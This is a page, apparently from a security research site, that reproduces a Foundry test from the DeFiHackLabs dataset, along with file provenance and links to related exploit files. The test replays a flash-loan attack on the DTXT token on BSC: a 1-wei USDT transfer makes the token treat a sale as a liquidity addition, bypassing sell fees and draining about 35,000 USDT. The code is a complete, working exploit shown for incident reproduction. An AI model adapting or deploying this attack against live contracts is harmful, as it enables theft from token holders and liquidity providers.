Public reproduction file
src/test/2026-06/DTXT_exp.sol
Public reproduction file for dataset entry DTXT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 35,041.11 USDT8// Attacker : 0xd304ea1592f733e0a46436a01fe54bd5040095269// Attack Contract : 0x3065bc8ed8bd53bdc3fd4633c3097c40726b5f5f10// Vulnerable Contract : 0xac9bf7c320d4ce2d0ac978b83955dd67351897d211// Victim : 0x90bfc1dbc878ba54858ba8a635b3daebd2ac6c0112// Attack Tx : https://bscscan.com/tx/0x07ba2ccf2b5c1aaca4c017af4fe87762a73ef7177f6ea8bb569367e908a0671d14// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0xac9bf7c320d4ce2d0ac978b83955dd67351897d2#code17// @Analysis18// Twitter Guy : https://x.com/audit_911/status/206379393113834701519//20// The attacker used a Moolah USDT flash loan and a pre-funded DTXT helper to add/remove DTXT/USDT21// liquidity. A 1-wei USDT transfer then made DTXT misclassify a large transfer into the Pancake pair22// as liquidity addition, bypassing sell fees before swapping DTXT for USDT.24address constant ATTACKER = 0xd304ea1592f733e0A46436A01fe54bD504009526;25address constant HISTORICAL_DTXT_HELPER = 0xd2453Ff82E1C5b568dDB260f1f0bb95169895428;26address constant MOOLAH_FLASH_LOAN = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;27address constant DTXT_TOKEN = 0xAc9Bf7C320d4cE2D0ac978B83955Dd67351897D2;28address constant DTXT_USDT_PAIR = 0x90BfC1dBc878bA54858bA8A635B3DAebd2aC6c01;29address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);30address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;32interface IMoolahFlashLoan {33 function flashLoan(34 address token,35 uint256 assets,36 bytes calldata data37 ) external;38}40contract ContractTest is BaseTestWithBalanceLog {41 function setUp() public {42 uint256 forkBlock = 102_432_239;43 vm.createSelectFork("bsc", forkBlock);44 fundingToken = USDT_TOKEN;46 vm.label(ATTACKER, "Attacker EOA");47 vm.label(HISTORICAL_DTXT_HELPER, "Historical DTXT seed helper");48 vm.label(MOOLAH_FLASH_LOAN, "Moolah flash loan proxy");49 vm.label(DTXT_TOKEN, "DTXT token");50 vm.label(DTXT_USDT_PAIR, "DTXT/USDT Pancake pair");51 vm.label(PANCAKE_ROUTER, "Pancake router");52 vm.label(USDT_TOKEN, "USDT");53 }55 function testExploit() public balanceLog2(ATTACKER) {56 DTXTSeedHelper helper = new DTXTSeedHelper();57 uint256 seedDtxt = IERC20(DTXT_TOKEN).balanceOf(HISTORICAL_DTXT_HELPER);58 deal(DTXT_TOKEN, address(helper), seedDtxt);59 vm.label(address(helper), "Local DTXT seed helper");61 DTXTExploit exploit = new DTXTExploit(address(helper), ATTACKER);62 vm.label(address(exploit), "Local attack contract");64 uint256 attackerBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);65 vm.prank(ATTACKER);66 exploit.execute();68 uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBefore;69 logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");70 assertGt(profit, 35_000 ether, "USDT profit");71 }72}74contract DTXTSeedHelper {75 constructor() {76 IERC20(USDT_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);77 IERC20(DTXT_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);78 }80 function addLiquidityAndReturnRemainder(81 uint256 seedDtxt,82 uint256 usdtRetained83 ) external {84 uint256 dtxtForLiquidity = seedDtxt / 2;85 uint256 usdtForLiquidity = IERC20(USDT_TOKEN).balanceOf(msg.sender) - usdtRetained;87 IERC20(USDT_TOKEN).transferFrom(msg.sender, address(this), usdtForLiquidity);88 IPancakeRouter(PANCAKE_ROUTER)89 .addLiquidity(USDT_TOKEN, DTXT_TOKEN, usdtForLiquidity, dtxtForLiquidity, 0, 0, msg.sender, block.timestamp);91 IERC20(DTXT_TOKEN).transfer(msg.sender, dtxtForLiquidity);92 }93}95contract DTXTExploit {96 DTXTSeedHelper private immutable helper;97 address private immutable profitReceiver;98 uint256 private expectedFlashAmount;100 constructor(101 address helper_,102 address profitReceiver_103 ) {104 helper = DTXTSeedHelper(helper_);105 profitReceiver = profitReceiver_;106 }108 function execute() external {109 require(msg.sender == profitReceiver, "only receiver");111 // step 1: derive the Moolah flash loan from the helper's DTXT seed and current pair reserves.112 uint256 seedDtxt = IERC20(DTXT_TOKEN).balanceOf(address(helper));113 uint256 flashAmount = _flashAmountForSeed(seedDtxt);114 expectedFlashAmount = flashAmount;115 IMoolahFlashLoan(MOOLAH_FLASH_LOAN).flashLoan(USDT_TOKEN, flashAmount, abi.encode(seedDtxt));117 // step 6: after Moolah pulls repayment, forward remaining USDT profit to the attacker EOA.118 uint256 profit = IERC20(USDT_TOKEN).balanceOf(address(this));119 IERC20(USDT_TOKEN).transfer(profitReceiver, profit);120 }122 function onMoolahFlashLoan(123 uint256 assets,124 bytes calldata data125 ) external {126 require(msg.sender == MOOLAH_FLASH_LOAN, "not Moolah");127 require(assets == expectedFlashAmount, "unexpected loan");129 uint256 seedDtxt = abi.decode(data, (uint256));131 // step 2: add USDT plus half of the helper's DTXT to the pair, then return the helper remainder.132 IERC20(USDT_TOKEN).approve(address(helper), type(uint256).max);133 helper.addLiquidityAndReturnRemainder(seedDtxt, 1 ether);135 // step 3: remove the minted LP, keeping the DTXT received through DTXT's delete-liquidity branch.136 uint256 lpBalance = IERC20(DTXT_USDT_PAIR).balanceOf(address(this));137 IERC20(DTXT_USDT_PAIR).approve(PANCAKE_ROUTER, type(uint256).max);138 IPancakeRouter(PANCAKE_ROUTER)139 .removeLiquidity(USDT_TOKEN, DTXT_TOKEN, lpBalance, 0, 0, address(this), block.timestamp + 60);141 // step 4: skew the token0 balance by 1 wei so DTXT treats the next pair transfer as add-liquidity.142 IERC20(USDT_TOKEN).transfer(DTXT_USDT_PAIR, 1);143 IERC20(DTXT_TOKEN).transfer(DTXT_USDT_PAIR, IERC20(DTXT_TOKEN).balanceOf(address(this)));145 // step 5: swap out USDT against stale reserves using the DTXT balance actually received by the pair.146 (uint112 reserve0, uint112 reserve1,) = IPancakePair(DTXT_USDT_PAIR).getReserves();147 uint256 dtxtIn = IERC20(DTXT_TOKEN).balanceOf(DTXT_USDT_PAIR) - uint256(reserve1);148 uint256 usdtOut = IPancakeRouter(PANCAKE_ROUTER).getAmountOut(dtxtIn, uint256(reserve1), uint256(reserve0));149 IPancakePair(DTXT_USDT_PAIR).swap(usdtOut, 0, address(this), "");151 IERC20(USDT_TOKEN).approve(MOOLAH_FLASH_LOAN, assets);152 }154 function _flashAmountForSeed(155 uint256 seedDtxt156 ) private view returns (uint256) {157 (uint112 reserve0, uint112 reserve1,) = IPancakePair(DTXT_USDT_PAIR).getReserves();158 require(IPancakePair(DTXT_USDT_PAIR).token0() == USDT_TOKEN, "unexpected token0");159 require(IPancakePair(DTXT_USDT_PAIR).token1() == DTXT_TOKEN, "unexpected token1");161 uint256 dtxtForLiquidity = seedDtxt / 2;162 uint256 usdtForLiquidity = (dtxtForLiquidity * uint256(reserve0)) / uint256(reserve1);163 return usdtForLiquidity + 1 ether;164 }165}Analysis
Dataset entry
Public Foundry test for “DTXT” (2026-06-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd304ea1592f733e0a46436a01fe54bd504009526
- Attack Contract
0x3065bc8ed8bd53bdc3fd4633c3097c40726b5f5f
- Vulnerable Contract
0xac9bf7c320d4ce2d0ac978b83955dd67351897d2
- Victim
0x90bfc1dbc878ba54858ba8a635b3daebd2ac6c01
- Attack Tx
0x07ba2ccf2b5c1aaca4c017af4fe87762a73ef7177f6ea8bb569367e908a0671d
File record
- Name
- DTXT
- Path
- src/test/2026-06/DTXT_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 89ab18a7f0931e385cb3cfbc7c65ea2026b0a8ea
- Language
- Solidity
- Size
- 166 lines
- Date
- 2026-06-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/DTXT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 89ab18a7f0931e385cb3cfbc7c65ea2026b0a8ea, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.